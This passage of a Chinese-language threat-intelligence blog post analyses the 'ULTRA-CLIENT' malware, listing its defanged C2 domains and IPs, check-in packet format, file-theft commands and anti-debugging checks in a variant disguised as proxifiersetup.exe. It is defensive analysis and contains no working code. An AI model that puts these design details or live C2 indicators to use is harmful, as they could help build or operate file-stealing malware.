0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">样本使用的服务器地址是</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">modindia.serveminecraft[.]net</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，使用 TCP 协议收发 JSON 格式的数据进行交互，端口为 </span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">8080</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。上线包格式如下，id 字段硬编码在样本中，可能用于标记不同批次的样本或样本的版本，location 字段用“windows - ”拼接当前主机名，antivirus 字段表示杀软名。通信逻辑的上下文中也掺杂着大量垃圾代码，用于干扰分析过程。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;id&#34;: &#34;633734336633383138326436323966326463656638303966363166663933356163363239363364eae2d6e4&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;location&#34;: &#34;windows - DAJI0A22&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;antivirus&#34;: &#34;Unknown&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">支持如下三个指令。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">LIST：获取文件列表</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">UPLOAD：上传指定文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">DOWNLOAD：下载指定文件</span></span></code></pre><h2 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2.8rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 21px;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 20px;">Windows-V2: TCP</span></span></strong></h2><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">八月底发现了另外一个版本的 Windows 变种，文件名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“proxifiersetup.exe”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，该变种对核心功能函数的名字进行了混淆，开发路径为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">D:/bossmaya/newblkul/client/client_obfuscated.go</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，和下文介绍的 Linux 版本使用了相同的路径，而且提示信息里表明了该变种的名字为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“ULTRA-CLIENT”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。基本功能只发生了一点变化比如多了检测</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Ollydbg、x64dbg、IDA</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">等安全分析工具的反调试的方法，其他方面没有太多变化。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img alt="ULTRA-Client.png" class="rich_pages wxw-img" data-imgfileid="100000485" data-ratio="0.3111111111111111" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=eba7c9bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKu2o6AEjOfYjibUiaDjZ153VMwb9ribaAgJ6EHibiatJo9KH30BBmwV157Yg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">网络通信方面，远程 C2 通过 XOR 加密，但实际还内置了两个备份 IP，C2 使用的端口都是</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">8080</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">sinjita[.]store</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.54[.]122</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.54[.]62</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">上线包稍微发生了一点变化，增加了一个</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">os</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: 